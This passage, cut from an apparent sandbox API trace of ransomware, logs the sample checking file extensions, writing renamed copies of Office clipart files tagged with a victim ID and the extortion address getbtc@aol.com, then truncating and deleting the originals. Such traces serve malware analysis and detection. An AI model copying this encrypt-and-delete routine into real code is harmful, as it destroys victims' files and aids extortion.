Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.393] lstrlenW (lpString=".jpg") returned 4 [0242.393] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.393] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.393] lstrlenW (lpString="PAPER_01.MID") returned 12 [0242.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.394] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6763) returned 1 [0242.394] CloseHandle (hObject=0x200) returned 1 [0242.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0242.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.395] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.395] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.395] GetLastError () returned 0x0 [0242.395] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0242.397] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0242.398] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.398] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.398] SetEndOfFile (hFile=0x39c) returned 1 [0242.398] CloseHandle (hObject=0x39c) returned 1 [0242.399] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.399] SetEndOfFile (hFile=0x200) returned 1 [0242.401] CloseHandle (hObject=0x200) returned 1 [0242.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".doc") returned 4 [0242.402] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString=".docx") returned 5 [0242.402] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.402] lstrlenW (lpString=".pdf") returned 4 [0242.402] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.402] lstrlenW (lpString=".xls") returned 4 [0242.402] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.402] lstrlenW (lpString=".xlsx") returned 5 [0242.402] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.402] lstrlenW (lpString=".ppt") returned 4 [0242.402] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".zip") returned 4 [0242.402] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.402] lstrlenW (lpString=".rar") returned 4 [0242.402] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.402] lstrlenW (lpString=".bz2") returned 4 [0242.402] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString=".7z") returned 3 [0242.402] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".dbf") returned 4 [0242.402] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".1cd") returned 4 [0242.402] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".jpg") returned 4 [0242.402] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.402] lstrlenW (lpString=".doc") returned 4 [0242.402] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.402] lstrlenW (lpString=".docx") returned 5 [0242.403] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.403] lstrlenW (lpString=".pdf") returned 4 [0242.403] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.403] lstrlenW (lpString=".xls") returned 4 [0242.403] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.403] lstrlenW (lpString=".xlsx") returned 5 [0242.403] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.403] lstrlenW (lpString=".ppt") returned 4 [0242.403] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.403] lstrlenW (lpString=".zip") returned 4 [0242.403] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.403] lstrlenW (lpString=".rar") returned 4 [0242.403] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.403] lstrlenW (lpString=".bz2") returned 4 [0242.403] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.403] lstrlenW (lpString=".7z") returned 3 [0242.403] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.403] lstrlenW (lpString=".dbf") returned 4 [0242.403] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.403] lstrlenW (lpString=".1cd") returned 4 [0242.403] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.403] lstrlenW (lpString=".jpg") returned 4 [0242.403] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.403] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.403] lstrlenW (lpString="PARNT_01.MID") returned 12 [0242.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.404] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6491) returned 1 [0242.404] CloseHandle (hObject=0x200) returned 1 [0242.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0242.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.404] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.404] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.405] GetLastError () returned 0x0 [0242.405] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x195b, lpOverlapped=0x0) returned 1 [0242.407] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0242.408] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.408] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.408] SetEndOfFile (hFile=0x39c) returned 1 [0242.408] CloseHandle (hObject=0x39c) returned 1 [0242.409] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.409] SetEndOfFile (hFile=0x200) returned 1 [0242.418] CloseHandle (hObject=0x200) returned 1 [0242.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0242.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.717] lstrlenW (lpString=".doc") returned 4 [0242.717] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.717] lstrlenW (lpString=".docx") returned 5 [0242.717] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.718] lstrlenW (lpString=".pdf") returned 4 [0242.718] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.718] lstrlenW (lpString=".xls") returned 4 [0242.718] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.718] lstrlenW (lpString=".xlsx") returned 5 [0242.718] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.718] lstrlenW (lpString=".ppt") returned 4 [0242.718] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString=".zip") returned 4 [0242.718] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.718] lstrlenW (lpString=".rar") returned 4 [0242.718] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.718] lstrlenW (lpString=".bz2") returned 4 [0242.718] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.718] lstrlenW (lpString=".7z") returned 3 [0242.718] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString=".dbf") returned 4 [0242.718] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString=".1cd") returned 4 [0242.718] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString=".jpg") returned 4 [0242.718] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.718] lstrlenW (lpString=".doc") returned 4 [0242.718] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.718] lstrlenW (lpString=".docx") returned 5 [0242.718] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.719] lstrlenW (lpString=".pdf") returned 4 [0242.719] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.719] lstrlenW (lpString=".xls") returned 4 [0242.719] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.719] lstrlenW (lpString=".xlsx") returned 5 [0242.719] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.719] lstrlenW (lpString=".ppt") returned 4 [0242.719] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.719] lstrlenW (lpString=".zip") returned 4 [0242.719] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.719] lstrlenW (lpString=".rar") returned 4 [0242.719] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.719] lstrlenW (lpString=".bz2") returned 4 [0242.719] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.719] lstrlenW (lpString=".7z") returned 3 [0242.719] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.719] lstrlenW (lpString=".dbf") returned 4 [0242.719] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.719] lstrlenW (lpString=".1cd") returned 4 [0242.719] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.719] lstrlenW (lpString=".jpg") returned 4 [0242.719] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.719] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.719] lstrlenW (lpString="PARNT_06.MID") returned 12 [0242.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.720] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=7768) returned 1 [0242.720] CloseHandle (hObject=0x200) returned 1 [0242.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0242.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.720] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.721] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.721] GetLastError () returned 0x0 [0242.721] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1e58, lpOverlapped=0x0) returned 1 [0242.723] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0242.724] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.724] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.725] SetEndOfFile (hFile=0x204) returned 1 [0242.725] CloseHandle (hObject=0x204) returned 1 [0242.725] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.725] SetEndOfFile (hFile=0x200) returned 1 [0242.727] CloseHandle (hObject=0x200) returned 1 [0242.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString=".doc") returned 4 [0242.729] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.729] lstrlenW (lpString=".docx") returned 5 [0242.729] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0242.729] lstrlenW (lpString=".pdf") returned 4 [0242.729] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.729] lstrlenW (lpString=".xls") returned 4 [0242.729] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.729] lstrlenW (lpString=".xlsx") returned 5 [0242.729] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0242.729] lstrlenW (lpString=".ppt") returned 4 [0242.729] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString=".zip") returned 4 [0242.729] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.729] lstrlenW (lpString=".rar") returned 4 [0242.729] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.729] lstrlenW (lpString=".bz2") returned 4 [0242.729] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.729] lstrlenW (lpString=".7z") returned 3 [0242.729] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString=".dbf") returned 4 [0242.729] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString=".1cd") returned 4 [0242.729] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString=".jpg") returned 4 [0242.729] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.730] lstrlenW (lpString=".doc") returned 4 [0242.730] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.730] lstrlenW (lpString=".docx") returned 5 [0242.730] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0242.730] lstrlenW (lpString=".pdf") returned 4 [0242.730] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.730] lstrlenW (lpString=".xls") returned 4 [0242.730] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.730] lstrlenW (lpString=".xlsx") returned 5 [0242.730] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0242.730] lstrlenW (lpString=".ppt") returned 4 [0242.730] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.730] lstrlenW (lpString=".zip") returned 4 [0242.730] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.730] lstrlenW (lpString=".rar") returned 4 [0242.730] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.730] lstrlenW (lpString=".bz2") returned 4 [0242.730] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.730] lstrlenW (lpString=".7z") returned 3 [0242.730] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.730] lstrlenW (lpString=".dbf") returned 4 [0242.730] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.730] lstrlenW (lpString=".1cd") returned 4 [0242.730] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.730] lstrlenW (lpString=".jpg") returned 4 [0242.730] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.731] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.731] lstrlenW (lpString="PARNT_07.MID") returned 12 [0242.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.731] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6564) returned 1 [0242.731] CloseHandle (hObject=0x200) returned 1 [0242.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0242.731] GetFileAttributesW 